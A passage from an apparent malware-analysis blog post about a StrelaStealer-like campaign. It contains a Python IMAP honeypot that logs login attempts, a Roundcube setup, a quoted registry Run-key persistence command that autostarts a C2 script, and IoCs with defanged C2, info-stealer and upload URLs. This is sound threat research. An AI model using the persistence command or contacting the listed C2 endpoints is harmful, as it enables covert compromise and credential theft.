cmd = parts[1].upper()
if cmd == "CAPABILITY":
writer.write(f"* CAPABILITY {CAPABILITIES}\r\n".encode())
writer.write(f"{tag} OK CAPABILITY completed\r\n".encode())
elif cmd == "LOGIN" and len(parts) >= 4:
username = parts[2]
log(f"AUTH ATTEMPT IP={client_ip} USER={username}")
if parts[2] == TEST_USERNAME and parts[3] == TEST_PASSWORD:
log(f"AUTH SUCCESS IP={client_ip} USER={username}")
writer.write(f"{tag} OK LOGIN completed\r\n".encode())
else:
log(f"AUTH FAILURE IP={client_ip} USER={username}")
writer.write(f"{tag} NO Authentication failed\r\n".encode())
elif cmd == "AUTHENTICATE" and len(parts) >= 3 and parts[2].upper() == "PLAIN":
# Send continuation request
#log(f"start plain auth, parts: {parts}")
if parts[3]:
decoded = base64.b64decode(parts[3]).decode(errors="ignore")
_, username, password = decoded.split("\x00", 2)
log(f"AUTH PLAIN ATTEMPT IP={client_ip} USER={username} PASSWORD={password}")
writer.write(f"{tag} NO Authentication failed\r\n".encode())
writer.write(b" + \r\n")
await writer.drain()
response = await reader.readline()
if not response:
break
try:
decoded = base64.b64decode(response.strip()).decode(errors="ignore")
_, username, password = decoded.split("\x00", 2)
except Exception:
writer.write(f"{tag} BAD Invalid AUTHENTICATE PLAIN payload\r\n".encode())
await writer.drain()
continue
log(f"AUTH PLAIN ATTEMPT IP={client_ip} USER={username}")
if username == TEST_USERNAME and password == TEST_PASSWORD:
log(f"AUTH SUCCESS IP={client_ip} USER={username}")
writer.write(f"{tag} OK AUTHENTICATE completed\r\n".encode())
else:
log(f"AUTH FAILURE IP={client_ip} USER={username}")
writer.write(f"{tag} NO Authentication failed\r\n".encode())
elif cmd == "NOOP":
writer.write(f"{tag} OK NOOP completed\r\n".encode())
elif cmd == "ID":
writer.write(b"* ID NIL\r\n")
writer.write(f"{tag} * OK ID completed\r\n".encode())
elif cmd == "LOGOUT":
writer.write(b"* BYE Logging out\r\n")
writer.write(f"{tag} OK LOGOUT completed\r\n".encode())
await writer.drain()
log(f"LOGOUT from {client_ip}")
break
else:
writer.write(f"{tag} OK\r\n".encode())
await writer.drain()
except Exception as e:
log(f"ERROR handling client {client_ip}: {e}")
log(traceback.format_exc())
finally:
try:
writer.close()
await writer.wait_closed()
except Exception:
pass
log(f"CONNECTION CLOSED {client_ip}")
async def main():
ssl_ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
ssl_ctx.load_cert_chain("server.crt", "server.key")
while True:
try:
server = await asyncio.start_server(
handle_client, HOST, PORT, ssl=ssl_ctx
#handle_client, HOST, PORT
)
log(f"IMAP test server listening on {HOST}:{PORT}")
async with server:
await server.serve_forever()
except Exception as e:
# If the server itself crashes, log and restart
log(f"SERVER ERROR: {e}")
log(traceback.format_exc())
await asyncio.sleep(2)
if __name__ == "__main__":
asyncio.run(main())
To make it even more realistic, I created a free Dyndns subdomain and applied for an SSL certificate. I also decided to make it a little easier for the attacker and set up a Roundcube container so that they could easily log in. SSL offloading is handled by nginx, so we can track login attempts via the nginx logs and ultimately check whether our leaked credentials are being used on our IMAP server.
services:
roundcubemail:
image: roundcube/roundcubemail:latest
container_name: roundcubemail
restart: unless-stopped
volumes:
- ./www:/var/www/html
- ./db/sqlite:/var/roundcube/db
ports:
- 127.0.0.1:9002:80
environment:
- ROUNDCUBEMAIL_DB_TYPE=sqlite
- ROUNDCUBEMAIL_SKIN=elastic
- ROUNDCUBEMAIL_DEFAULT_HOST=ssl://honeypot.url
- ROUNDCUBEMAIL_DEFAULT_PORT=993
I will update this blog post as soon as someone tries to log in with my uploaded credentials.
Persistence
The previous command also contained && echo elifmagik. We will follow this command post and request chain to retrieve the next command.
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "SYSUP" /t REG_SZ /F /D "wscript.exe ""%SCRIPT_NAME%""
This creates a new registry key and adds the C2 script to autostart. This was the last command I was able to retrieve from the C2 server.
IoCs
hashes are in SHA256
- Rechnung_HTKR26_0000655_279842.svg (6F8DB0EC39641850B62B4D121197F55F1A93C051C26646D799F43B2F0DC4E0F8)
- 16334266371752470771.zip (different names and hashes)
- RECHNUNG_2252_72892617.js (different names and hashes)
- file.ps1 (526229b625ef4f2510fc70652f88a0fa847041940ac3692c633457d11b2f0e4c)
Sandboxes
- https://any.run/report/a4f74e43e4f14cac480c64f5a75147742f8aab699aa84915c6e30b1eb041032e/a49407fd-22b2-4954-8a77-a58461ec1402
- https://www.joesandbox.com/analysis/1860559/1/html
URLs
- Stage1: hxxp://dlscript2k222.com/script.php?id=script
- Stage2: This list is very incomplete, as the Stage1 URL stopped working after a while, but all URLs end with
/?u=script
hxxps://1075wpark.com/?u=script
hxxps://2022.bprdeltaartha.com/?u=script
hxxps://918-spyder-registry.fast-auto.fr/?u=script
hxxps://a1ministorage.net/?u=script
hxxps://a3internetservices.com/?u=script
hxxps://a4naturals.com/?u=script
hxxps://aaadecolombia.com/?u=script
hxxps://aaahouseclearance.co.uk/?u=script
hxxps://aadhiwater.com/?u=script
hxxps://aaeindia.mistiquedesigns.in/?u=script
hxxps://aagmaninfotech.com/?u=script
hxxps://aaronshaffier.jerusalemwalkingtour.com/?u=script
hxxps://aatransport.ltd/?u=script
hxxps://aa-website.com/?u=script
hxxps://abaitregalos.com.ar/?u=script
hxxps://abbainternacional.co.mz/?u=script
hxxps://abbraidingandbeautysupply.com/?u=script
hxxps://abbruzzesestudioassociato.com/?u=script
hxxps://abc-coaching.co.uk/?u=script
hxxps://abcnlp.com/?u=script
hxxps://abdiansyah.my.id/?u=script
hxxps://abejaburgalesa.com/?u=script
hxxps://abemetal.ru/?u=script
hxxps://abemviver.com.br/?u=script
hxxps://abertura.michelledelara.com.br/?u=script
hxxps://abetterhumanstory.org/?u=script
hxxps://abilhetex.pt/?u=script
hxxps://abisz-bau.de/?u=script
hxxps://ablaser.de/?u=script
hxxps://ablsan.com.br/?u=script
hxxps://abmasoft.com/wp/?u=script
hxxps://abm-works.com/?u=script
hxxps://abnorm.bf/?u=script
hxxps://abordajeestrategico.com/?u=script
hxxps://abouteball.com/?u=script
hxxps://aboutmyfathersbusiness.ca/?u=script
hxxps://aboxsolutions.com/?u=script
hxxps://abrajalnaim.ly/?u=script
hxxps://abrazandonos.com/?u=script
hxxps://absam.io/blog/?u=script
hxxps://abshiredc.com/?u=script
hxxps://a-talentagency.com/?u=script
hxxps://a-t-heart.com/?u=script
- C2 communication GET / POST:
hxxp://microsoftpoller20.com/gt.php
- Stage3 (info stealer):
hxxp://microsoftpoller20.com/st2.php
- C2 upload POST:
hxxp://microsoftpoller20.com/up2.php
Since I discovered that the Stage2 URL changes every few minutes, I decided to create a script in combination with an OCR Docker container that:
- Request the Stage1 URL every 5 minutes.
- Extract the encrypted Base64 URL and the captcha image.
- Read the captcha with OCR to extract the key.
- Use the key to decrypt the Stage2 URL and save it to a file.
This allowed me to retrieve 44 Stage2 URLs until the Stage1 server was no longer accessible. I checked some of these URLs and it seems that most of them are compromised WordPress sites.
you can find the code on Github: https://github.com/secure-77/ocr_captcha
References to StrelaStealer
While searching for the parameter /?u=script, I came across the URLhaus website, which listed many of these URLs under the StrelaStealer family: https://urlhaus.abuse.ch/browse/tag/StrelaStealer/
I researched several articles on StrelaStealer and discovered that this malware family carried out several large campaigns in 2024 and mid-2025, but at that time it used batch scripts and a DLL for the final stage. So this appears to be a new variant
- https://socprime.com/blog/strela-stealer-attack-detection/
- https://www.attackiq.com/2025/04/17/emulating-strelastealer/
- https://malpedia.caad.fkie.fraunhofer.de/details/win.strelastealer
- https://www.heise.de/news/StrelaStealer-Malware-will-E-Mail-Zugangsdaten-von-mehr-als-100-Organisationen-9665204.html
- https://unit42.paloaltonetworks.com/strelastealer-campaign/




















